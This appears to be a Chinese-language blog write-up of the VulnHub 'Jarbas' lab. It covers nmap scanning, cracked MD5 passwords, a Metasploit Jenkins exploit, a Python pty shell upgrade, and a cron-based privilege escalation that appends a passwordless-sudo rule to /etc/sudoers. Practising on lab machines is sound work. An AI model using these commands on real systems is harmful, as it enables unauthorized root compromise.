Vulnhub -- Jarbas靶机渗透
目标:拿到服务器的Shell
信息收集
配置好后用nmap扫描
kali's ip:192.168.241.131
nmap -sP 192.168.241.131/24
一个个扫描
发现192.168.241.2是Vmware的服务,猜测jarbas的IP地址为192.168.241.142
扫描开放的端口
nmap -sV 192.168.241.142
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http Jetty 9.4.z-SNAPSHOT
其中,22/ssh端口有被爆破的风险,可以使用hydra或者是msf的爆破模块
OpenSSH用户枚举CVE-2018-15473
https://www.cnblogs.com/Gh0st1nTheShell/p/14836694.html
3306/mysql
(1)mysq弱口令破解
(2)弱口令登录mysql,上传构造的恶意UDF自定义函数代码,通过调用注册的恶意函数执行系统命令
(3)SQL注入获取数据库敏感信息, load_file()函数读取系统文件,导出恶意代码到指定路径
发现有http服务,选择在浏览器打开
http://192.168.241.142:8080页面
进行目录爆破
80:
access.html
- tiago:5978a63b4654c73c60fa24f836386d87
- trindade:f463f63616cb3f1e81ce46b39f882fd5
- eder:9b38e2b1e8b12f426b0d208a7ab6cb98
进行md5解密 - tiago:italia99
- trindade:marianna
- eder:vipsu
用这些账号用ssh登录,发现登陆失败,数据库也不能直接链接被拦截,推测不是用于登录主机和数据库
8080:
login:
用刚才的账号密码登录,发现只有eder:vipsu可以登陆上
robots.txt
尝试攻击
首先尝试找到Jenkins的漏洞,搜索msf是否存在响应的漏洞
使用第8条
但是运行时报错
set forceexploit true
再运行,返回meterpreter
也可以使用第9条,在输入的参数值中需要管理员的账号密码,就可以用刚才找到的账户密码进行攻击
使用shell命令,返回sh,非常难使用
使用python,创建一个比较好使用的shell(bash)
python -c 'import pty ;pty.spawn("/bin/bash");'
但是权限太低,尝试提权
提权
提权--信息收集
使用定时任务来进行提权
cat /etc/crontab crontab -l
cat /etc/crontab查看定时任务发现一个以root身份定时执行的任务CleaningScript.sh
提权
修改CleaningScript.sh内容,使它能够修改sudoers,给予jenkins免密码执行sudo的权限。并利用crontab定时执行该任务
echo "echo 'jenkins ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> /etc/script/CleaningScript.sh
等待任务被执行
定时任务提权条件:
1.每隔5分钟删除一次http的访问日志
2.以root用户运行
3.脚本任何用户可编辑
使用指令切换到root权限
sudo /bin/bash
最新文章
- 网站的SEO以及它和站长工具的之间秘密
- pageX、clientX、screenX、offsetX、layerX、x
- objective-c 语法快速过(2)
- win7 打印机共享
- DateTime.Parse
- 在 FREEBUF 投放广告
- 高性能PHP日志插件--Seaslog
- json转化为对象数组
- 第十一节:基于MVC5+Spring.Net+EF+Log4net 传统的一种搭建模式
- Struts2优缺点
- jquery案例
- 关于使用jquery.cookie.js存cookie中文出现乱码问题
- MapFileParser.sh: Permission denied
- 史上最简单的SpringCloud教程 | 第二篇: 服务消费者(rest+ribbon)
- oc初步画图
- SQL Server 查询性能优化——创建索引原则(一)
- linux与linux远程桌面
- [机器学习]-SVD奇异值分解的基本原理和运用
- ios app性能分析
- xss绕过htmlspecialchars实体编码的姿势
热门文章
- HDFS 05 - HDFS 常用的 Java API 操作
- 性能监控之常见 Java Heap Dump 方法
- SpringCloud Alibaba实战(11:引入服务网关Gateway)
- Spring学习日记03_IOC_属性注入_集合类型属性
- SpringBoot缓存管理(二) 整合Redis缓存实现
- 在使用XStream时没有processAnnotations方法
- XCTF(MISC) 图片隐写
- 报错处理:end Kernel panic - not syncing: Out of memory and no killable processes
- 单片机与PLC的区别?
- hadoop源码_hdfs启动流程_2_DataNode